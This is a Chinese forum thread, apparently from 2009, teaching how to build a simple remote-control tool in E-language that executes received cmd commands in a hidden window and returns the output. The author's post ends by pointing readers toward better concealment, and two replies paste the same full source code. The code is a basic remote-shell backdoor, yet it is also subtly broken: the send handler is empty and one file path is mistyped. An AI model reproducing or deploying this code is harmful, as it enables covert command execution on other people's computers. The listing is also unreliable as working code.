找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1870|回复: 5

易语言编写简单的远控

[复制链接]

735

主题

1102

回帖

3076

牛毛

二级牛人

积分
3096
QQ
发表于 2009-9-6 09:53:01 | 显示全部楼层 |阅读模式 来自 山东省威海市
以前觉得远控很神奇,现在觉得其实原理挺简单的:接受命令-执行-反馈结果。这次呢我就给大家演示下如何利用易语言编写简单的远控。功能是能够远程执行CMD命令。
===========================================================================================

第一步:构建界面

首先新建两个程序:
控制端用的控件:
首先是1个列表框,显示上线主机
      2个编辑框,用于写入要执行的命令和回显远程执行的结果
      1个按钮
      1个服务器控件,这个用来传输信息


如图:

易语言编写简单的远控

易语言编写简单的远控



服务端的就简单了:
一个客户端控件


第二步:设计代码
我们先来看控制端:
我们首先让启动的时候处于**状态以便接受客户端的连接信息,

易语言编写简单的远控

易语言编写简单的远控

(是的,就是这么简单)


接下来要让客户端连接控制端,我们写下代码:

易语言编写简单的远控

易语言编写简单的远控

服务端:当有客户进入的时候,我们要让他在列表框上显示出来,我们设计相应的代码:



易语言编写简单的远控

易语言编写简单的远控

这样我们就把客户端上线和下线的事件写完了,测试下可不可以。
好的,经过测试没有问题。
接下来要写的就是最核心的代码,数据的传输与处理
先写数据的传输吧,我的思路是,当客户端发送按钮被按下的时候,我们把编辑框1的内容发送给列表框选中的客户,然后客户把运行后的结果返回回来。
这样子先写发送的代码:

易语言编写简单的远控

易语言编写简单的远控

这句话的意思是把列表框选中的项目作为控制的对象,“当前控制客户”是一个文本型变量



易语言编写简单的远控

易语言编写简单的远控

接下来是最核心最核心的内容了,让客户端受到命令,执行,返回执行结果,让客户端执行命令容易,但是还要返回执行的结果,这个不是几句话能实现的。我查过很多资料,方法有两种:一种是利用管道,说实话这种方法我也没怎么弄懂——。但是还有另一种方法,把执行的结果保存在某个文件上,然后间接的读取文本内容并发送,这就好办啦!
我们设想在c盘里新建一个1.txt文件,利用它来获取执行结果,这个文件起到的也就是桥梁作用。

易语言编写简单的远控

易语言编写简单的远控

这样的话客户端的设计就大功告成了,进行控制端的收尾吧!

易语言编写简单的远控

易语言编写简单的远控

接下来进行一些细小的调整吧!
恩,好了,来测试写效果吧~

易语言编写简单的远控

易语言编写简单的远控

呵呵,大功告成啦!
当然只是最最基础的功能,真正的远控绝不局限于此,要想有更强大的功能和更好的隐蔽性,慢慢学习吧
就到这里了,bye~

0

主题

10

回帖

10

牛毛

初生牛犊

积分
10
发表于 2011-7-27 20:31:44 | 显示全部楼层 来自 福建省泉州市
怎么不把源代码发出来呢

0

主题

10

回帖

10

牛毛

初生牛犊

积分
10
发表于 2011-7-27 20:51:47 | 显示全部楼层 来自 福建省泉州市
.版本 2

.程序集 窗口程序集1

.子程序 __启动窗口_创建完毕

服务器1.端口 = 1994
客户1.连接 (“127.0.0.1”, 1994)


.子程序 _服务器1_客户进入
.局部变量 数据取回, 文本型

数据取回 = 服务器1.取回客户 ()
列表框1.加入项目 (数据取回, )


.子程序 _服务器1_客户离开
.局部变量 a, 文本型
.局部变量 s

a = 服务器1.取回客户 ()
.计次循环首 (列表框1.取项目数 (), s)

    .如果真 (列表框1.取项目文本 (s - 1) = a)
        列表框1.删除项目 (s - 1)
        跳出循环 ()
    .如果真结束

.计次循环尾 ()


.子程序 _列表框1_列表项被选择

当前控制客户 = 列表框1.取项目文本 (列表框1.现行选中项)


.子程序 _按钮1_被单击

.如果 (当前控制客户 = “”)
    信息框 (“XXXXXXXXXX”, 0, )
.否则

.如果结束


.子程序 _客户1_数据到达
.局部变量 数据, 文本型
.局部变量 结果, 字节集

数据 = 到文本 (客户1.取回数据 ())
.如果真 (打开文件 (“c:\1.txt”, #读入, ) = 1)
    删除文件 (“c:\1.txt”)
.如果真结束
运行 (“cmd/c” + 数据 + “>c:\1.txt”, 假, #隐藏窗口)
延时 (2000)
结果 = 到文本 (读入文本 (“C;\1.txt”, ))
客户1.发送数据 (结果)

0

主题

10

回帖

10

牛毛

初生牛犊

积分
10
发表于 2011-7-27 20:52:38 | 显示全部楼层 来自 福建省泉州市
.版本 2

.程序集 窗口程序集1

.子程序 __启动窗口_创建完毕

服务器1.端口 = 1994
客户1.连接 (“127.0.0.1”, 1994)


.子程序 _服务器1_客户进入
.局部变量 数据取回, 文本型

数据取回 = 服务器1.取回客户 ()
列表框1.加入项目 (数据取回, )


.子程序 _服务器1_客户离开
.局部变量 a, 文本型
.局部变量 s

a = 服务器1.取回客户 ()
.计次循环首 (列表框1.取项目数 (), s)

    .如果真 (列表框1.取项目文本 (s - 1) = a)
        列表框1.删除项目 (s - 1)
        跳出循环 ()
    .如果真结束

.计次循环尾 ()


.子程序 _列表框1_列表项被选择

当前控制客户 = 列表框1.取项目文本 (列表框1.现行选中项)


.子程序 _按钮1_被单击

.如果 (当前控制客户 = “”)
    信息框 (“XXXXXXXXXX”, 0, )
.否则

.如果结束


.子程序 _客户1_数据到达
.局部变量 数据, 文本型
.局部变量 结果, 字节集

数据 = 到文本 (客户1.取回数据 ())
.如果真 (打开文件 (“c:\1.txt”, #读入, ) = 1)
    删除文件 (“c:\1.txt”)
.如果真结束
运行 (“cmd/c” + 数据 + “>c:\1.txt”, 假, #隐藏窗口)
延时 (2000)
结果 = 到文本 (读入文本 (“C;\1.txt”, ))
客户1.发送数据 (结果)

0

主题

29

回帖

51

牛毛

初生牛犊

积分
51
发表于 2012-6-28 08:16:15 | 显示全部楼层 来自 广西南宁市
好多广告!!
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-25 14:08 , Processed in 0.148898 second(s), 52 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表